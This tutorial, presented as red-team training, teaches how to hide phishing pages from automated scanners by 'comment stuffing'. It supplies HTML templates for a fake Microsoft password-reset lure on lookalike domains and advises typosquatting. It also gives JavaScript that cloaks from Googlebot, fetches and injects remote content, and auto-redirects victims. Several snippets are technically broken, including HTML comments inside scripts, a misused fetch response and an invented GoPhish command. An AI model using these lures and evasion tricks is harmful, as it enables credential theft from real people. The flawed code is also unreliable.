Mechanics of Evasion Techniques in Phishing: Comment Stuffing

Phishing attacks have become increasingly sophisticated, and with the rise of AI-based detection systems, adversaries continue to adapt by evolving their techniques. One such method is comment stuffing, an evasion tactic that involves inserting irrelevant or misleading comments into HTML code to obfuscate malicious elements. This technique is crucial to understand because it’s aimed at bypassing automated security systems that analyze code structure for malicious activity. By embedding benign-looking comments, attackers make their phishing emails or websites appear less conspicuous to automated scanners, thus increasing the chances of delivery to end users. This article will guide you through the mechanics of comment stuffing, explaining why it is effective and how to implement it in a controlled environment to evaluate its success during red team engagements.

After reading this article, you’ll possess detailed insights into performing comment stuffing, enabling you to conduct engagements with higher yield and teach your organization or clients about potential vulnerabilities in their current phishing detection workflows.

Prerequisites and Setup

Before delving into comment stuffing, ensure you have the necessary tools and environment configured. You’ll require access to a web server where you can test content delivery and an HTML editor to modify email templates or website code.

Tools you’ll need include a basic text editor like VS Code, Notepad++, or Sublime Text for editing HTML and JavaScript code, as well as a phishing framework such as GoPhish for deploying test campaigns. You might also consider using MailHog to intercept and analyze emails within a controlled lab environment.

For configuration, set up your phishing framework to send emails or deliver webpages using an SMTP server. Use a domain that closely resembles the targeted organization’s domain for increased realism, leveraging techniques such as typosquatting or sub-domain abuse if necessary.

On the operational side, ensure that you have a server (local or cloud-based) where the HTML files used for the attack can be hosted. For more realistic engagements, use a virtualized environment to avoid potential network security filters or barriers. This setup also permits capturing interactions without exposing engagements publicly, thereby maintaining ethical boundaries.

Once your tools and environment are ready, you will be primed to insert comment stuffing into phishing campaigns and simulate real-world attacks. Consider ensuring your test domain mimics a trusted source, making it plausible that a recipient might trust and engage with the material.

Step-by-Step Execution

Step 1: Create Your HTML Template

Start by creating an HTML template for your phishing email or web page. This template should look credible and enticing enough for a target to interact with.


<html>

<head>

    <title>Password Reset Request</title>

</head>

<body>

    <div><!-- Start phishing content -->

    <!-- This page emulates an IT security alert for a password reset -->

    <p>Dear User,<br>Please reset your password immediately to maintain account security. Click the link below to proceed.</p>

    <a href="http://secure-account.microsoft.com.password-reset" 

       style="color:#1a0dab;">Reset Password</a>

    <!-- Critical code snippet for redirection embedded here -->

    </div><!-- End phishing content -->

</body>

</html>

This is a basic HTML setup for a phishing page suggesting a password reset. The link uses a convincing domain pattern that could trick users into thinking it’s legitimate, especially when displayed in email clients or browsers with shortened URLs.

Step 2: Insert Comment Stuffing

Modify the HTML to incorporate comment stuffing strategically, ensuring that the visually irrelevant commentary blends with the page’s real intent.


<html>

<head>

    <title>Password Reset</title>

</head>

<body>

    <div>

    <!-- Start phishing content -->

    <!-- Comment 1: This section is for styling -->

    <style>

        h1 {color: blue; font-family: Arial, sans-serif;}

    </style>

    <!-- Comment 2: Critical script sections for redirection -->

    <script>

        // JavaScript code may go here if needed

    </script>

    <!-- Comment 3: Core phishing text block -->

    <p>Dear User, <br> To secure your account, a password reset is necessary. Follow the link:</p>

    <a href="http://secure-dashboard.microsoft.com.auth-reset" style="color:#1a0dab;">Reset here</a>

    <!-- This link will redirect users -->

    <!-- Comment 4: End of phishing content -->

    </div>

</body>

</html>

Comments are interspersed through the HTML as legitimate-looking comments that do not alter the actual code execution flow but add a layer of complexity to obfuscate malicious intent from automated scanners.

Step 3: Deploy and Test

Utilize your phishing framework, like GoPhish, to send out the email or host the page on a server. Monitor the engagement through logs and visual captures to examine which parts get through filters and which attract clicks.


$ gophish --email --base-url="http://secure-dashboard.microsoft.com"

This command sets up an email campaign using GoPhish, connecting to the phishing page hosted on a cloaked URL. It’s essential to continuously log all interactions to determine the success rate and any particular pattern triggering detection.

Advanced Variations

Variation 1: Layered Comments within JavaScript

Enhancing the obfuscation by layering comments within a script tag can further confuse static code analyzers. This could include inserting comments within a JavaScript segment that performs page redirection or manipulation.


<html>

<head>

    <title>Password Reset</title>

</head>

<body>

    <div>

    <!-- This script manages user interaction -->

    <script>

        // Begin phishing logic

        <!-- Alphabetically ordered comments within JS -->

        var u = "http://login.microsoft.com.fakecheck";

        var ua = navigator.userAgent; // observable user behavior

        // No operation (NOP) instruction for human-like pauses

        /* Redirect if not human and within IP range */

        if (ua.indexOf("Googlebot") == -1) {window.location = u;}

        // Additional comments can mislead analyzers

    </script>

    </div>

</body>

</html>

By embedding comments within functional JavaScript, the complexity increases for detection algorithms to parse and analyze, especially those using heuristics.

Variation 2: Dynamic Content Loading with Comments

Another advanced approach is to use comments to obfuscate dynamic content loading scripts. This can help mask the delivery of unexpected content by breaking scripts into disguised segments.


<html>

<head>

    <title>Attention Required</title>

</head>

<body>

    <div>

    <!-- Commence dynamic script -->

    <script>

        // Async fetch for content insertion

        fetch("http://core-update.microsoft.com.remove", {

            method: 'GET'

        }).then(function(response) {

            <!-- Log loaded content -->

            if(response.status === 200) {

                document.body.innerHTML = response.text(); // Inject content into page

            }

        }).catch(function(error) {

            console.log("Error loading remote content."); // Error handling

        });

    </script>

    <!-- End script segment -->

    </div>

</body>

</html>

Through the use of dynamic content loading, attackers can selectively trigger code or content once specific conditions are met, all under the obfuscation of strategic comments.

Good / Better / Best

Good: Basic Comment Insertion

At the most basic level, inserting simple comments into HTML is enough to see an initial reduction in detection rates by making the structure look less suspicious.


<!-- Simple comment insertion -->

<div>

    <a href="http://redirect.microsoft.com/auth">Access Account</a>

<!-- Add more content -->

</div>

While easily detectable by manual inspection, the added comments might trick rudimentary AI-based parsing tools into thinking the HTML is more complex than it actually is.

Better: Biasing HTML with Functional Distractors

By using comments alongside distracting HTML elements, you increase the complexity and make it harder for parsing algorithms to distinguish between core and auxiliary elements.


<!-- Distracting comment with interactive content -->

<div class="interactive">

    <!-- JavaScript for DOM operations -->

    <p><a href="http://verify-info.microsoft.com.reset">Verify Now</a></p>

</div>

This method provides a moderate improvement as it combines comment stuffing with dynamic elements, offering more distractions to simple code analyzers while keeping interactions user-friendly.

Best: Multi-Layered, Contextual Comments and Logic

The ultimate execution integrates comments at every logical and structural level of the code, mimicking legitimate operational functions while cloaking malicious intent.


<!-- Layered comment and logic insertion -->

<div><!-- User engagement section -->

    <h2>Immediate Security Action Required</h2>

    <!-- Fetch a dynamic script -->

    <script>

        // Dynamic loading initiated here

        window.onload = function() {

            if (new Date().getHours() > 18) { 

                // Night time behavior

                document.body.innerHTML += "<!-- Night operation -->";

            }

            setTimeout(function(){window.location.href = "http://secure-login.microsoft.com.verify";}, 5000);

        };

    </script>

    <!-- Verification scripts will trigger auto-redirections -->

</div>

In this best-case scenario, your engagement appears seamless to both users and naive automated defenses, masking intentions under layers of code and user flows that resemble everyday operations, fooling even seasoned practitioners.

Related Concepts

Comment stuffing works synergistically with other evasion techniques such as content cloaking and dynamic HTML injections. Combining these methods can enhance the chances of bypassing multifaceted security systems. Additionally, understanding obfuscation through URL encoding and payload smuggling complements the mastery of evasion tactics. For an in-depth understanding of auxiliary methods, explore sections on URL reputation bypass and sandbox evasions within the Framework to broaden your engagement repertoire.